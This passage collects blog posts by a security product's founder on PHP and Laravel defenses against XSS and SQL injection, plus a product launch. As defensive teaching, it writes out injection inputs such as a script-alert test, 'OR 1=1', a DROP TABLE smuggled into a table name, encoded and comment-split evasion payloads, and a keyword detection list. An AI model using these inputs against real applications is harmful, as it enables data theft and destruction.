Blade escapes HTML characters but does not validate URLs. If the URL is user-controlled, validate the scheme ensure it begins with

https://

rather than blindly trusting arbitrary input. A javascript: URL bypasses HTML encoding entirely.

When you must render HTML sanitize first

If you need to display user-submitted HTML, run it through a dedicated HTML sanitizer such as HTMLPurifier or a Laravel package wrapping it before storing or displaying it. Only use

{!! !!}

after proper sanitization.

Content Security Policy as an additional layer

Add a CSP header in your Laravel middleware to limit what scripts can execute even if an XSS payload gets through.

return $response->header(
    'Content-Security-Policy',
    "default-src 'self'; script-src 'self'"
);

CSP should be treated as a defense-in-depth measure, not a replacement for proper output encoding. A strict CSP means even a successful XSS injection has limited ability to load external scripts or send data to attacker-controlled domains.

The XSS Prevention Checklist for Laravel

Always use {{ }} for user-generated content never {!! !!}

Only use {!! !!} for HTML you generated from trusted, controlled sources
If you must display user HTML run it through an HTML sanitizer first
For JavaScript contexts

use Js::from() not {{ }}

Validate and sanitize on input as an additional layer not as the primary defense
Validate URL schemes when outputting user-controlled URLs
Set a Content Security Policy header as a defense-in-depth measure
Never treat the database as a sanitization layer
Test your forms by

submitting <script>alert('xss')</script>

and checking what the page renders.
Where Detection Still Has a Role

Blade’s {{ }}

encoding prevents XSS at the output layer. But it does not protect against:

Legacy templates in inherited codebases still using

{!! !!} incorrectly

DOM-based XSS that never reaches your server
Third-party packages that render output unsafely
Developers on your team who

use {!! !!}

without understanding the implications
A security layer that monitors incoming requests and flags payloads containing script injection attempts gives you visibility into XSS attacks before they reach your templates. Not as the primary defense as the safety net that catches what your templates might miss.

Prevention first. Detection as the safety net. The same principle from every article in this series.

The Series So Far

Article 1: What your PHP logs actually look like during a SQL injection attack
Article 2: Why URL encoding can break PHP security checks
Article 3: The decode bomb problem why unlimited URL decoding can be its own vulnerability
Article 4: Parameterized queries the only real fix for SQL injection
Article 5: This article XSS prevention in Laravel and why {!! !!} is the line between safe and hacked.
The Direction Behind Kriosa

Kriosa’s hybrid system includes XSS detection flagging requests that contain script injection attempts, event handler injections, and JavaScript protocol abuse before they reach your Laravel application.

But as with every article in this series detection at the middleware layer does not replace prevention at the application layer.

{{ }} in Blade is the prevention.

Kriosa is the safety net.

The strongest defense is both layers working together.

Try it free: kriosa.com
Install it:

composer require kriosa-ai/kriosa-php

Built by a developer from Cameroon, for developers who want to understand their security not just outsource it.

Sleep better we’re awake — kriosa

Parameterized Queries - The Only Real Fix for SQL Injection and What Developers Get Wrong About Them

Nchiminyi — Founder, Kriosa — Tue, 14 Jul 2026 03:53:36 +0000

Originally publish on medium
Detection tells you something happened. Prevention stops it from mattering. Here is the prevention layer.
In the last three articles I wrote about detecting SQL injection attempts in PHP logs, why URL encoding blinds most pattern matching checks, and why unlimited URL decoding creates its own vulnerability. Every article ended with the same honest disclaimer.
"The real fix lives at the query layer, not the detection layer."
This is that article.

Why Detection Is Not Enough

Everything I have written so far the log analysis, the urldecode() fix, the capped decode loop is detection. It tells you a suspicious request arrived. It logs it. It flags it. In some cases it blocks it.
But detection has a ceiling.
A sufficiently sophisticated attacker who understands your detection layer can craft payloads that slip through. New encoding techniques. Fragmented payloads. Timing-based injection that never appears in a single suspicious request. Detection is valuable precisely because prevention is never perfect. But prevention should always come first.
For SQL injection, prevention has one name parameterized queries.

What SQL Injection Actually Is

Before explaining the fix, it helps to understand exactly what the attack exploits. SQL injection works because of one fundamental mistake treating user input as part of a SQL command.
Here is the vulnerable pattern.

$id = $_GET['id'];
$query = "SELECT * FROM users WHERE id = " . $id;
$result = $pdo->query($query);

When a legitimate user sends id=1, the query becomes.

SELECT * FROM users WHERE id = 1

Clean. Expected. Safe.
When an attacker sends id=1 OR 1=1, the query becomes.

SELECT * FROM users WHERE id = 1 OR 1=1

Which returns every row in the users table. Every single one.
The database cannot tell the difference between the developer's intended SQL and the attacker's injected SQL because they arrived as the same string. The input and the command are mixed together. That is the vulnerability.

What Parameterized Queries Actually Do

Parameterized queries also called prepared statements solve this by separating the SQL command from the user input completely.
Here is the same query written correctly.

$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute([$_GET['id']]);
$result = $stmt->fetchAll();

What happens here is fundamentally different from string concatenation.
The SQL command SELECT * FROM users WHERE id = ? is sent to the database first, as a complete instruction with a placeholder. The database parses it, understands its structure, and prepares to execute it.
Then the user input whatever $_GET['id'] contains is sent separately as data. The database treats it as a value to fill the placeholder, not as part of the SQL command itself.

So when an attacker sends 1 OR 1=1, the database receives it as a literal string value to compare against the id column not as SQL to execute. The injection attempt becomes meaningless. The query looks for a row where id equals the literal string "1 OR 1=1" finds nothing and returns an empty result. No data leaks. No error. No attack.

What Developers Get Wrong

Parameterized queries sound simple. In practice, developers make four common mistakes that leave them thinking they are protected when they are not.
Mistake 1 - Mixing parameterized queries with string concatenation

// This is NOT safe
$table = $_GET['table'];
$stmt = $pdo->prepare("SELECT * FROM " . $table . " WHERE id = ?");
$stmt->execute([$_GET['id']]);

The id parameter is protected. The table name is not. An attacker sends table=users; DROP TABLE users-- and the table name gets concatenated directly into the SQL command.
Parameterized queries protect values. They do not protect identifiers like table names and column names. Those must be validated against a whitelist separately.

Mistake 2 - Using emulated prepares without knowing it
PDO has two modes: real prepared statements and emulated prepared statements. Emulated prepares are the default in some configurations.

// Disable emulated prepares
$pdo = new PDO($dsn, $user, $pass);
$pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);

Native prepared statements are generally preferred because the database receives the SQL statement and parameters separately. Emulated prepares still protect against SQL injection in normal use, but native prepares avoid certain edge cases and more closely match the database's own parsing behavior.

Mistake 3 - Assuming Laravel's ORM makes every query safe
Laravel's Eloquent ORM uses parameterized queries by default. But raw query methods bypass this protection.

// Safe - Eloquent uses parameterized queries
User::where('id', $id)->first();

// NOT safe - raw query with string concatenation
DB::select("SELECT * FROM users WHERE id = " . $id);

// Safe - raw query with parameter binding
DB::select("SELECT * FROM users WHERE id = ?", [$id]);

Using an ORM does not automatically make every database query safe. Raw query methods require the same discipline as plain PDO.

Mistake 4 - Thinking input validation replaces parameterized queries
Some developers validate input checking that an id is numeric, for example and believe this makes string concatenation safe.

// This is still dangerous
if (is_numeric($_GET['id'])) {
    $query = "SELECT * FROM users WHERE id = " . $_GET['id'];
}

Input validation reduces the attack surface. It does not eliminate it. Edge cases in validation logic, type juggling in PHP, and unexpected input formats can all bypass validation in ways that would not bypass a parameterized query.

Parameterized queries and input validation are complementary. Validation rejects obviously bad input early. Parameterized queries make SQL injection through parameter values structurally impossible when used correctly. Use both.

The Complete Safe Pattern

Here is what correct SQL query handling looks like in PHP using PDO

// Establish connection with emulated prepares disabled
$pdo = new PDO(
    'mysql:host=localhost;dbname=myapp;charset=utf8mb4',
    $username,
    $password,
    [
        PDO::ATTR_EMULATE_PREPARES => false,
        PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
        PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC
    ]
);

// Validate input type where appropriate
$id = filter_input(INPUT_GET, 'id', FILTER_VALIDATE_INT);
if ($id === false || $id === null) {
    http_response_code(400);
    exit;
}

// Use parameterized query
$stmt = $pdo->prepare("SELECT id, username, email FROM users WHERE id = ?");
$stmt->execute([$id]);
$user = $stmt->fetch();

And in Laravel using Eloquent

// Safe - always use Eloquent methods or parameter binding
$user = User::find($id);

// Or with query builder binding
$user = DB::table('users')->where('id', '=', $id)->first();

// Never do this
$user = DB::select("SELECT * FROM users WHERE id = " . $id);

Where Detection Still Matters

Parameterized queries make SQL injection through parameter values structurally impossible when used correctly. But they do not protect against.

Queries written incorrectly by a developer who forgot to use them
Legacy code in a codebase you inherited
Third-party packages with their own database queries
Second-order injection where stored data is later used unsafely

This is why detection still has a role. Not as the primary defense as the safety net that catches what prevention misses.
A security layer that monitors incoming requests, flags suspicious patterns, and alerts you when injection attempts are arriving gives you visibility into attacks that might find a gap in your prevention layer. You fix the gap. The detection layer told you where to look.
Prevention first. Detection as the safety net. That combination is what genuine defense looks like.

The Series So Far

This is the fourth article in a series on PHP application security:
Article 1: What your PHP logs actually look like during a SQL injection attack
Article 2: Why URL encoding can break PHP security checks
Article 3: The decode bomb problem why unlimited URL decoding can be its own vulnerability
Article 4: This article parameterized queries and what developers get wrong about them

Each one builds on the last. Detection, normalization, resource safety, prevention. The full picture of what it takes to defend a PHP application in production.

The Direction Behind Kriosa

One of the design principles behind Kriosa is that detection and prevention work together not as alternatives but as layers. The middleware layer monitors and flags. Your application layer prevents with parameterized queries and input validation. The XAI dashboard explains what the detection layer found so you can close gaps in the prevention layer faster.

Neither layer replaces the other. Together they cover what either would miss alone.

Try it free: kriosa.com
Install it: composer require kriosa-ai/kriosa-php

Built by a developer from Cameroon, for developers who want to understand their security not just outsource it.

Sleep better we're awake - kriosa

How do you handle URL decoding in PHP security checks without opening a decode bomb vulnerability? Looping urldecode() until stable fixes double encoding but risks excessive CPU on crafted payloads. How do you cap it safely?

Nchiminyi — Founder, Kriosa — Fri, 10 Jul 2026 07:59:49 +0000

The Decode Bomb Problem — Why Unlimited URL Decoding Can Be Its Own Vulnerability

Nchiminyi — Founder, Kriosa — Fri, 10 Jul 2026 07:57:25 +0000

Originally published on Medium
Fixing one security gap without understanding the side effects can open another one.
In my last article I wrote about URL encoding and why PHP security checks often miss encoded attack payloads. A developer read it and asked a question worth exploring carefully.

“If a single urldecode() gets beaten by double encoding, then looping the decode until it stops changing feels like the obvious next move — but doesn’t that open you up to a decode bomb where an attacker sends deeply nested encoding just to burn CPU?”

It is a valid concern worth exploring in depth.

What I Mean by a “Decode Bomb”

I am using the term decode bomb to describe a specific scenario: an attacker crafts a request with deeply nested URL encoding specifically to make your server perform excessive decoding work on every request.

It is similar in concept to a ZIP bomb where a small compressed file expands into something enormous but applied to URL decoding instead of file decompression. It is not a widely standardized security term, but the pattern it describes is real. Here is how it works in practice. If your code loops urldecode() until the string stops changing, an attacker can send a deeply nested encoded payload.

%25252525252527

Here is what happens on each pass:

Pass 1: %25252525252527  →  %252525252527
Pass 2: %252525252527    →  %2525252527
Pass 3: %2525252527      →  %25252527
Pass 4: %25252527        →  %252527
Pass 5: %252527          →  %2527
Pass 6: %2527            →  %27
Pass 7: %27              →  '

Seven passes to decode one character. Your server performs unnecessary decoding work on every request like this. In practice, the impact depends on your implementation. A single request is unlikely to cause problems, but repeated requests against code that performs excessive decoding can unnecessarily consume CPU time. You fixed the encoding blind spot. You potentially opened a resource issue in the same line of code.

Why This Is Easy to Miss

This is not the kind of vulnerability that shows up in standard penetration tests. It is the kind that gets discovered in production when someone notices their server is running slower than expected under unusual traffic patterns.

The attacker does not need to extract data. They do not need to bypass authentication. They just need your server to spend more time processing their requests than it spends serving legitimate users.

For a solo developer or small agency running client sites with limited server resources, sustained unusual traffic patterns like this can degrade performance noticeably.

The Safe Solution: Cap the Decode Passes

The fix requires a deliberate decision: choose a maximum number of decode passes and never exceed it.

$query = $_SERVER['QUERY_STRING'] ?? '';
$maxPasses = 3;
$i = 0;
$previous = null;

while ($previous !== $query && $i < $maxPasses) {
    $previous = $query;
    $query = urldecode($query);
    $i++;
}

$query = strtolower($query);

Three passes is a reasonable upper bound in many applications, but the right limit depends on your architecture, framework, and threat model. The loop also stops early if the string stops changing so a single-encoded payload only runs one pass, not three.

Single encoding is the most common attack evasion technique. Double encoding is the next layer. Beyond that, deeply nested encoding is in territory that your web server, reverse proxy, or PHP framework should already be handling upstream before the request reaches your application code.

An Important Note Before You Add This

Before adding custom decoding logic to your application, understand how your web server, reverse proxy, framework, and PHP itself already normalize incoming requests. Multiple layers of decoding can introduce both security and correctness issues.

If you are using Laravel, remember that request data is already normalized in various ways before your application uses it. Understand where URL decoding has already occurred before adding another decoding layer.

Understand your full request stack before adding normalization code.

Why Pattern Matching Has Limits
Even with capped URL decoding, pattern matching has a fundamental weakness: it only catches what you know to look for.

Attackers constantly develop new payloads specifically designed to bypass known patterns. They use alternative syntax. They use database-specific encoding. They use comments to break up keywords.

SE/*comment*/LECT * FR/*comment*/OM users

Your pattern matching looks for select. It never appears as a contiguous string. The check may pass. Whether the attack succeeds depends on how the application processes the input afterward.

This is the core limitation of signature-based detection: it catches known bad patterns. It misses unknown ones.

The Broader Lesson: Every Security Fix Has Side Effects

This is the part most security tutorials skip.

When you add a security control, you are not just closing one door. You are potentially opening another. The question to ask after every security fix is not just “does this stop the attack I was worried about?” It is “what does this enable that I was not worried about before?”

Unlimited URL decoding stops encoding-based evasion. It introduces resource exhaustion risk.

Capped URL decoding reduces most encoding-based evasion. It limits CPU exposure. It misses deeply nested encoding which upstream infrastructure should handle anyway.

Every security decision is a tradeoff. Understanding the tradeoff is what separates a developer who adds security theater from one who builds genuine defense.

Detection vs Prevention

Both of the articles I have written so far are about detection logging suspicious requests, normalizing input, identifying behavioral signals.

Detection is valuable. But it has a ceiling.

The real fix for SQL injection lives at the query layer, not the detection layer. Parameterized queries make SQL injection structurally impossible for that query no amount of encoding tricks around it.

Detection tells you something suspicious happened. Prevention stops it from mattering.

The strongest security posture uses both:

Prevention: parameterized queries, input validation, output encoding, proper authentication
Detection: normalized pattern matching, behavioral anomaly detection, response size monitoring, real-time alerting
Neither replaces the other. Prevention reduces your attack surface. Detection covers what prevention misses.

The Direction Behind Kriosa

One of the design principles behind Kriosa is controlled input normalization keeping normalization predictable, bounded, and combined with behavioral analysis instead of relying solely on repeated decoding.

The XAI dashboard then explains what was detected and why so you understand the attack pattern, not just that something was blocked.

That is the difference between a log filter and a security layer. One tells you something looked suspicious. The other tells you what it was, why it was flagged, and what the attacker was trying to accomplish.

Try it free: kriosa.com.

Install it: composer require kriosa-ai/kriosa-php

Built by a developer from Cameroon, for developers who want to understand their security not just outsource it.

Kriosa — Sleep better we’re awake.

Why URL Encoding Can Break PHP Security Checks — and What Actually Works

Nchiminyi — Founder, Kriosa — Wed, 08 Jul 2026 15:54:41 +0000

First published on medium
One overlooked detail in request inspection can leave your security checks blind to real attacks.
That comment made me realize this topic deserves its own article. Because the gap he found is not unique to my code. It is in many PHP security checks developers write themselves.
Here is the full picture.

What URL Encoding Is

When a browser or attacker sends data through a URL, certain characters cannot travel as-is. Characters like single quotes, spaces, and equals signs have special meaning in URLs they separate parameters, indicate values, structure the request.

So they get converted to a safe format before transmission. This conversion is called URL encoding or percent encoding.

The rules work like this:

'       →  %27
(space) →  %20' OR '1'='1
=       →  %3D
"       →  %22
/       →  %2F

So a SQL injection payload that looks like this in plain text:

' OR '1'='1

Arrives at your PHP server looking like this:

%27%20OR%20%271%27%3D%271

The same payload intent. A completely different representation. And many PHP security checks never see it coming.

Why Some Security Checks Fail

Here is the kind of security check many PHP developers write when they want basic protection:

$suspicious = ["'", "union", "select", "drop", "insert", "--", "/*"];
$query = strtolower($_SERVER['QUERY_STRING'] ?? '');

foreach ($suspicious as $pattern) {
    if (strpos($query, $pattern) !== false) {
        error_log("SUSPICIOUS REQUEST: " . $_SERVER['REMOTE_ADDR']);
    }
}

This looks reasonable. It checks for common SQL injection patterns and logs suspicious requests.

But look at what it is checking against: $_SERVER['QUERY_STRING'] the raw query string exactly as it arrived from the browser.

If the attacker sent %27%20OR%20%271%27%3D%271, that raw string contains none of the patterns you are checking for. No single quote. No OR. No equals sign. The check runs, finds nothing suspicious, and the request passes through.

The detection check misses the request. Your log may show nothing suspicious.

Important note: if you access input through $_GET rather than $_SERVER['QUERY_STRING'], PHP already decodes the values for you. This issue specifically affects developers inspecting raw request data directly.

Security reminder: this example is for demonstrating detection concepts. It is not a replacement for using parameterized queries and prepared statements. The real fix for SQL injection is preventing it at the database layer not filtering it at the input layer.

Normalizing Input Before Inspection

The solution is to decode the URL encoding before running your pattern matching. To avoid decode bomb attacks where deeply nested encoding burns CPU we cap the decode passes at a fixed number:

$suspicious = ["'", "union", "select", "drop", "insert", "--", "/*"];

// Cap decode passes to prevent decode bomb attacks
$query = $_SERVER['QUERY_STRING'] ?? '';
$maxPasses = 3;
$i = 0;
$previous = null;

while ($previous !== $query && $i < $maxPasses) {
    $previous = $query;
    $query = urldecode($query);
    $i++;
}

$query = strtolower($query);

foreach ($suspicious as $pattern) {
    if (strpos($query, $pattern) !== false) {
        error_log("SUSPICIOUS REQUEST: " . $_SERVER['REMOTE_ADDR']);
    }
}

Three passes maximum. The loop stops earlier if the string stops changing. This handles single and double encoding which covers the vast majority of real-world evasion attempts without opening an infinite loop vulnerability. This fixes a detection blind spot. It does not fix SQL injection itself that requires parameterized queries at the application layer.

But It Goes Deeper: Double Encoding

Sophisticated attackers know about urldecode(). So they encode twice.

A single-encoded payload:

%27  →  urldecode()  →  '  ✓ detected

A double-encoded payload:

%2527  →  urldecode()  →  %27  →  still encoded, not detected

The %25 is the URL encoding for the % character itself. So %2527 decodes to %27 which is still encoded. Your single urldecode() call produces %27, your pattern matching looks for ', they never match.
Running urldecode() twice helps in some cases. But be careful repeated decoding without understanding your full request stack can cause unexpected behavior. Know where decoding already happens in your framework before adding more layers. PHP frameworks like Laravel may already decode input at certain points in the request lifecycle.

Why Pattern Matching Has Limits

Even with proper URL decoding, pattern matching has a fundamental weakness: it only catches what you know to look for.

Attackers constantly develop new payloads specifically designed to bypass known patterns. They use alternative syntax. They use database-specific encoding. They use comments to break up keywords:

SE/*comment*/LECT * FR/*comment*/OM users

Your pattern matching looks for select. It never appears as a contiguous string. The check may pass. Whether the attack succeeds depends on how the application processes the input afterward.

This is the core limitation of signature-based detection: it catches known bad patterns. It misses unknown ones.

What Actually Works: Behavioral Detection

A developer who commented on my last article made a point worth examining carefully:

Response size changes can be a valuable behavioral signal. A 200 response returning 9kb where 512 bytes is normally expected may indicate unusual behavior and deserves investigation.

He is right. This points to a completely different detection approach: anomaly detection.

Instead of asking “does this request contain a known bad pattern?” anomaly detection asks “does this request behave abnormally compared to what we normally see?”

A response significantly larger than normal for that endpoint is worth investigating regardless of what the payload looked like. That said, larger responses can have legitimate causes too. The signal is most useful when combined with other indicators, not treated as conclusive on its own.

Anomaly detection adds a layer that signature matching alone cannot provide it examines behavior over time, not just individual request patterns.

The Two Approaches Combined

The strongest security systems use both:

Signature detection catches known attack patterns quickly and cheaply. Good for stopping automated scanners running common payloads.

Anomaly detection can help identify unusual activity and attacks that do not match known signatures. Good for examining behavior patterns that signature matching alone would miss.

Neither is sufficient alone. Together they cover the gaps the other leaves open.

This is the type of gap behavioral analysis is designed to help identify by looking beyond individual patterns and examining how activity behaves over time.

This is the direction behind Kriosa’s approach combining rule-based detection with behavioral analysis and explainable security insights. Not relying on one technique alone, but layering them so each covers what the other misses.

The Practical Takeaway

If you are writing your own PHP security checks:

Know your input source understand the difference between $_GET and $_SERVER['QUERY_STRING'] and what each contains before you inspect it. Normalize before matching use the capped decode loop shown above, not a single urldecode() call. Single decoding misses double-encoded payloads.

// Cap decode passes to prevent decode bomb attacks
$query = $_SERVER['QUERY_STRING'] ?? '';
$maxPasses = 3;
$i = 0;
$previous = null;

while ($previous !== $query && $i < $maxPasses) {
    $previous = $query;
    $query = urldecode($query);
    $i++;
}

$query = strtolower($query);

Watch for behavioral signals response sizes significantly larger than normal for a given endpoint are worth investigating alongside other indicators.

Understand the fundamental limit: manual pattern matching is a starting point, not a complete security strategy. It catches careless automated attacks. It struggles against careful targeted ones.

And remember: the best security strategy is layered prevent vulnerabilities where possible, detect suspicious activity when prevention fails, and continuously improve based on what you learn.

A Note on How This Article Happened

This article exists because a developer read my previous article carefully enough to find a real gap in the code and said so publicly. That kind of technical engagement is rare and genuinely valuable.

The best security knowledge comes from exactly this kind of exchange someone pushing on the detail, finding the weakness, and making the conversation better.

If you find something wrong in this article, say so in the comments. That is how this gets better.

Try Kriosa free: kriosa.com
Install it: composer require kriosa-ai/kriosa-php

Built by a developer from Cameroon, for developers who want to understand their security not just outsource it.
Sleep better we're awake.

Built an AI-Powered WAF for PHP/Laravel Apps in Africa — Here’s What It Catches

Nchiminyi — Founder, Kriosa — Sat, 04 Jul 2026 20:09:27 +0000

Originally published on Medium

A student developer from Cameroon built a security tool that explains exactly why it blocked a request. Here’s the story and how to install it in 30 seconds.

Press enter or click to view image in full size
As a PHP developer in Africa, you already know the problem: your apps get hit by automated bots, SQL injection attempts, and XSS attacks every single day — and most security tools built to stop them are either too expensive, too complex, or built by people who have never touched an African server in their life.

I built Kriosa to fix that.

What is Kriosa?

Kriosa is an AI-powered Web Application Firewall for PHP and Laravel apps. It uses a hybrid Machine Learning engine — combining Random Forest and Neural Networks — to detect and block threats before they reach your application. But the part that makes it different from every other WAF is the Explainable AI dashboard.

Most WAFs are a black box. They block a request and tell you nothing. Kriosa tells you exactly why it blocked it — which features of the request triggered the ML model, what the confidence score was, and what attack pattern it matched. As a developer, that means you are not just protected — you understand what happened.

What it catches:

SQL Injection attempts
Cross-Site Scripting (XSS)
Path Traversal attacks
Malicious bot detection
Rate limiting abuse
And 25+ other attack vectors
Install it in 30 seconds:
For Laravel:

//Step 1 — Install via Composer
composer require kriosa-ai/kriosa-php

//Step 2 — Add to your .env file
KRIOSA_API_KEY=sk_your_api_key_here
KRIOSA_TIMEOUT=5
KRIOSA_DEBUG=false
KRIOSA_BADGE=true

//Step 3 — Create config/kriosa.php
// config/kriosa.php
return [
    'api_key' => env('KRIOSA_API_KEY'),
    'timeout' => env('KRIOSA_TIMEOUT', 5),
    'debug'   => env('KRIOSA_DEBUG', false),
];

//Step 4 — Create the Middleware
// app/Http/Middleware/KriosaSecurity.php

use Closure;
use Kriosa;
use Illuminate\Http\Request;

class KriosaSecurity
{
    public function handle(Request $request, Closure $next)
    {
        $apiKey = config('kriosa.api_key');

        // Skip if no API key configured
        if (!$apiKey) {
            return $next($request);
        }

        try {
            $kriosa = new Kriosa($apiKey, [
                'timeout' => config('kriosa.timeout', 5),
                'debug'   => config('kriosa.debug', false),
            ]);

            if (!$kriosa->protect()) {
                return response('Access denied', 403);
            }

        } catch (\Exception $e) {
            // Fail open — don't block users if Kriosa is unreachable
            report($e);
        }

        return $next($request);
    }
}

//Step 5 — Register the Middleware
// app/Http/Kernel.php

protected $middleware = [
    // ... existing middleware
    \App\Http\Middleware\KriosaSecurity::class,
];

// OR apply to specific routes only:

// routes/web.php
Route::middleware(['kriosa'])->group(function () {
    Route::get('/dashboard', [DashboardController::class, 'index']);
});

Then add the middleware to your app/Http/Middleware/KriosaMiddleware.php:

For PHP

Or Download and use the SDK

//Step 1 — Install via Composer
composer require kriosa-ai/kriosa-php

//or download kriosa.php

<?php
// Add this to your index.php or front controller
require_once __DIR__ . '/kriosa.php'; // for downloaded 
require_once 'vendor/autoload.php'; // for composer install

//KTIOSA_API_KEY FROM YOUR .ENV FILE

$apiKey = getenv('KRIOSA_API_KEY') ?: 'YOUR_API_KEY_HERE';

try {
    $kriosa = new Kriosa($apiKey, [
        'timeout'     => 3,
        'debug'       => false,
        'fail_closed' => false,
        'show_badge'  => true,
    ]);

    if (!$kriosa->protect()) {
        header('X-Kriosa-Blocked: true');
        http_response_code(403);
        exit('Access Denied');
    }
} catch (Exception $e) {
    error_log('Kriosa Security Error: ' . $e->getMessage());
}

// Your application continues safely here...

That’s it. Your app is now protected by an AI layer that watches every incoming request.

Why I built this

I am a final-year computer science student at the University of Bamenda, Cameroon. I watched developers around me get their client sites hacked with no affordable way to understand what happened or prevent it from happening again. Enterprise WAFs like Cloudflare cost hundreds of dollars a month. Sucuri is built for a completely different context. Nothing existed for the PHP developer in Africa building real products for real clients on a real budget.

So I built it myself a hybrid ML engine, a 25+ attack, and an XAI dashboard that makes security understandable, not just automated.

It is free to start.

The Starter tier is free. No credit card. No enterprise contract. Just install the SDK, connect your app, and open the dashboard.

If you build PHP or Laravel apps and you have ever had a client site get hacked — or you are terrified of it happening — Kriosa is built specifically for you.

Try it today: kriosa.com
Install it: composer require kriosa-ai/kriosa-php
Full docs: kriosa.com/documentation.php

Built by a developer from Cameroon, for developers across Africa and beyond. If you have questions, drop them in the comments — I read everything.